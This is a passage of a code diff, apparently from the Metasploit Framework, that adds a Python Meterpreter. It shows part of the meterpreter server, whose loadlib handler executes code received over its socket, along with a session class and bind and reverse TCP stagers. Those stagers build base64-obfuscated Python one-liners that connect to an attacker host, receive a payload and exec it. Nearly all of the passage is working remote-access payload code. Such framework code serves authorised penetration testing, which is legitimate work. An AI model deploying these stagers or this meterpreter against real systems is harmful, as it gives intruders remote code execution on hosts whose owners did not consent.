self.handle_dead_resource_channel(channel_id)
|
||||||
|
elif isinstance(channel, socket._socketobject):
|
||||||
|
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||||
|
try:
|
||||||
|
d = channel.recv(1)
|
||||||
|
except socket.error:
|
||||||
|
d = ''
|
||||||
|
if len(d) == 0:
|
||||||
|
self.handle_dead_resource_channel(channel_id)
|
||||||
|
break
|
||||||
|
data += d
|
||||||
|
if data:
|
||||||
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||||
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||||
|
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||||
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
|
self.socket.send(pkt)
|
||||||
|
|
||||||
|
def handle_dead_resource_channel(self, channel_id):
|
||||||
|
del self.channels[channel_id]
|
||||||
|
if channel_id in self.interact_channels:
|
||||||
|
self.interact_channels.remove(channel_id)
|
||||||
|
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||||
|
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
|
||||||
|
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||||
|
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
|
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||||
|
self.socket.send(pkt)
|
||||||
|
|
||||||
|
def _core_loadlib(self, request, response):
|
||||||
|
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||||
|
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||||
|
return ERROR_FAILURE
|
||||||
|
preloadlib_methods = self.extension_functions.keys()
|
||||||
|
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
||||||
|
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||||
|
postloadlib_methods = self.extension_functions.keys()
|
||||||
|
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
||||||
|
for method in new_methods:
|
||||||
|
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def _core_shutdown(self, request, response):
|
||||||
|
response += tlv_pack(TLV_TYPE_BOOL, True)
|
||||||
|
self.running = False
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def _core_channel_open(self, request, response):
|
||||||
|
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||||
|
handler = 'channel_create_' + channel_type['value']
|
||||||
|
if handler not in self.extension_functions:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
handler = self.extension_functions[handler]
|
||||||
|
return handler(request, response)
|
||||||
|
|
||||||
|
def _core_channel_close(self, request, response):
|
||||||
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
|
if channel_id not in self.channels:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
channel = self.channels[channel_id]
|
||||||
|
if isinstance(channel, file):
|
||||||
|
channel.close()
|
||||||
|
elif isinstance(channel, subprocess.Popen):
|
||||||
|
channel.kill()
|
||||||
|
elif isinstance(s, socket._socketobject):
|
||||||
|
channel.close()
|
||||||
|
else:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
del self.channels[channel_id]
|
||||||
|
if channel_id in self.interact_channels:
|
||||||
|
self.interact_channels.remove(channel_id)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def _core_channel_eof(self, request, response):
|
||||||
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
|
if channel_id not in self.channels:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
channel = self.channels[channel_id]
|
||||||
|
result = False
|
||||||
|
if isinstance(channel, file):
|
||||||
|
result = channel.tell() == os.fstat(channel.fileno()).st_size
|
||||||
|
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def _core_channel_interact(self, request, response):
|
||||||
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
|
if channel_id not in self.channels:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
channel = self.channels[channel_id]
|
||||||
|
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
|
||||||
|
if toggle:
|
||||||
|
if channel_id in self.interact_channels:
|
||||||
|
self.interact_channels.remove(channel_id)
|
||||||
|
else:
|
||||||
|
self.interact_channels.append(channel_id)
|
||||||
|
elif channel_id in self.interact_channels:
|
||||||
|
self.interact_channels.remove(channel_id)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def _core_channel_read(self, request, response):
|
||||||
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
|
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||||
|
if channel_id not in self.channels:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
channel = self.channels[channel_id]
|
||||||
|
data = ''
|
||||||
|
if isinstance(channel, file):
|
||||||
|
data = channel.read(length)
|
||||||
|
elif isinstance(channel, STDProcess):
|
||||||
|
if channel.poll() != None:
|
||||||
|
self.handle_dead_resource_channel(channel_id)
|
||||||
|
if channel.stdout_reader.is_read_ready():
|
||||||
|
data = channel.stdout_reader.read(length)
|
||||||
|
elif isinstance(s, socket._socketobject):
|
||||||
|
data = channel.recv(length)
|
||||||
|
else:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def _core_channel_write(self, request, response):
|
||||||
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||||
|
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
||||||
|
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
||||||
|
if channel_id not in self.channels:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
channel = self.channels[channel_id]
|
||||||
|
l = len(channel_data)
|
||||||
|
if isinstance(channel, file):
|
||||||
|
channel.write(channel_data)
|
||||||
|
elif isinstance(channel, subprocess.Popen):
|
||||||
|
if channel.poll() != None:
|
||||||
|
self.handle_dead_resource_channel(channel_id)
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
channel.stdin.write(channel_data)
|
||||||
|
elif isinstance(s, socket._socketobject):
|
||||||
|
try:
|
||||||
|
l = channel.send(channel_data)
|
||||||
|
except socket.error:
|
||||||
|
channel.close()
|
||||||
|
self.handle_dead_resource_channel(channel_id)
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
else:
|
||||||
|
return ERROR_FAILURE, response
|
||||||
|
response += tlv_pack(TLV_TYPE_LENGTH, l)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
def create_response(self, request):
|
||||||
|
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
||||||
|
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
||||||
|
resp += tlv_pack(method_tlv)
|
||||||
|
|
||||||
|
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||||
|
resp += tlv_pack(reqid_tlv)
|
||||||
|
|
||||||
|
if method_tlv['value'] in self.extension_functions:
|
||||||
|
handler = self.extension_functions[method_tlv['value']]
|
||||||
|
try:
|
||||||
|
result, resp = handler(request, resp)
|
||||||
|
except Exception, err:
|
||||||
|
result = ERROR_FAILURE
|
||||||
|
else:
|
||||||
|
result = ERROR_FAILURE
|
||||||
|
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||||
|
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||||
|
return resp
|
||||||
|
|
||||||
|
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||||
|
met = PythonMeterpreter(s)
|
||||||
|
met.run()
|
|
@ -0,0 +1,29 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/base/sessions/meterpreter'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Sessions
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class creates a platform-specific meterpreter session type
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Meterpreter_Python_Python < Msf::Sessions::Meterpreter
|
||||||
|
def supports_ssl?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
def supports_zlib?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
def initialize(rstream, opts={})
|
||||||
|
super
|
||||||
|
self.platform = 'python/python'
|
||||||
|
self.binary_suffix = 'py'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -84,6 +84,7 @@ ARCH_ARMBE = 'armbe'
|
||||||
ARCH_JAVA = 'java'
|
ARCH_JAVA = 'java'
|
||||||
ARCH_RUBY = 'ruby'
|
ARCH_RUBY = 'ruby'
|
||||||
ARCH_DALVIK = 'dalvik'
|
ARCH_DALVIK = 'dalvik'
|
||||||
|
ARCH_PYTHON = 'python'
|
||||||
ARCH_TYPES =
|
ARCH_TYPES =
|
||||||
[
|
[
|
||||||
ARCH_X86,
|
ARCH_X86,
|
||||||
|
@ -103,7 +104,8 @@ ARCH_TYPES =
|
||||||
ARCH_TTY,
|
ARCH_TTY,
|
||||||
ARCH_JAVA,
|
ARCH_JAVA,
|
||||||
ARCH_RUBY,
|
ARCH_RUBY,
|
||||||
ARCH_DALVIK
|
ARCH_DALVIK,
|
||||||
|
ARCH_PYTHON
|
||||||
]
|
]
|
||||||
|
|
||||||
ARCH_ALL = ARCH_TYPES
|
ARCH_ALL = ARCH_TYPES
|
||||||
|
|
|
@ -0,0 +1,55 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/base/sessions/command_shell'
|
||||||
|
require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Bind TCP Stager',
|
||||||
|
'Description' => 'Python connect stager',
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Stager' => {'Payload' => ""}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
cmd = ''
|
||||||
|
# Set up the socket
|
||||||
|
cmd += "import socket,struct\n"
|
||||||
|
cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1
|
||||||
|
cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
||||||
|
cmd += "s.listen(1)\n"
|
||||||
|
cmd += "c,a=s.accept()\n"
|
||||||
|
cmd += "l=struct.unpack('>I',c.recv(4))[0]\n"
|
||||||
|
cmd += "d=c.recv(4096)\n"
|
||||||
|
cmd += "while len(d)!=l:\n"
|
||||||
|
cmd += "\td+=c.recv(4096)\n"
|
||||||
|
cmd += "exec(d,{'s':c})\n"
|
||||||
|
|
||||||
|
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||||
|
cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))"
|
||||||
|
return cmd
|
||||||
|
end
|
||||||
|
|
||||||
|
def handle_intermediate_stage(conn, payload)
|
||||||
|
conn.put([payload.length].pack("N"))
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,53 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/base/sessions/command_shell'
|
||||||
|
require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Python Reverse TCP Stager',
|
||||||
|
'Description' => 'Reverse Python connect back stager',
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Stager' => {'Payload' => ""}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
cmd = ''
|
||||||
|
# Set up the socket
|
||||||
|
cmd += "import socket,struct\n"
|
||||||
|
cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1
|
||||||
|
cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
||||||
|
cmd += "l=struct.unpack('>I',s.recv(4))[0]\n"
|
||||||
|
cmd += "d=s.recv(4096)\n"
|
||||||
|
cmd += "while len(d)!=l:\n"
|
||||||
|
cmd += "\td+=s.recv(4096)\n"
|
||||||
|
cmd += "exec(d,{'s':s})\n"
|
||||||
|
|
||||||
|
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||||
|
cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))"
|
||||||
|
return cmd
|
||||||
|
end
|
||||||
|
|
||||||
|
def handle_intermediate_stage(conn, payload)
|
||||||
|
conn.put([payload.length].pack("N"))
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,36 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/base/sessions/meterpreter_python'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Python Meterpreter',
|
||||||
|
'Description' => 'Run a meterpreter server in Python',
|
||||||
|
'Author' => ['Spencer McIntyre'],
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_Python_Python))
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_stage
|
||||||
|
file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
|
||||||
|
|
||||||
|
met = File.open(file, "rb") {|f|
|
||||||
|
f.read(f.stat.size)
|
||||||
|
}
|
||||||
|
met
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue